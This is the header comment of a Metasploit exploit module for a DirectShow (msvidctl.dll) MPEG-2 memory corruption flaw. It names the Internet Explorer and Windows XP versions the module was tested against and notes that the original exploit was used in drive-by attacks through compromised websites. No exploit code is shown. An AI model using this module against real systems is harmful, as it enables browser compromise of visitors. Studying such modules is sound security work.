    # Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption exploit for the Metasploit Framework
    #
    # Tested successfully on the following platforms (fully patched 06/07/09):
    #- Internet Explorer 6, Windows XP SP2
    #- Internet Explorer 7, Windows XP SP3
    #
    # Original exploit was found in-the-wild used to preform drive-by attacks via compromised Chinese web sites.
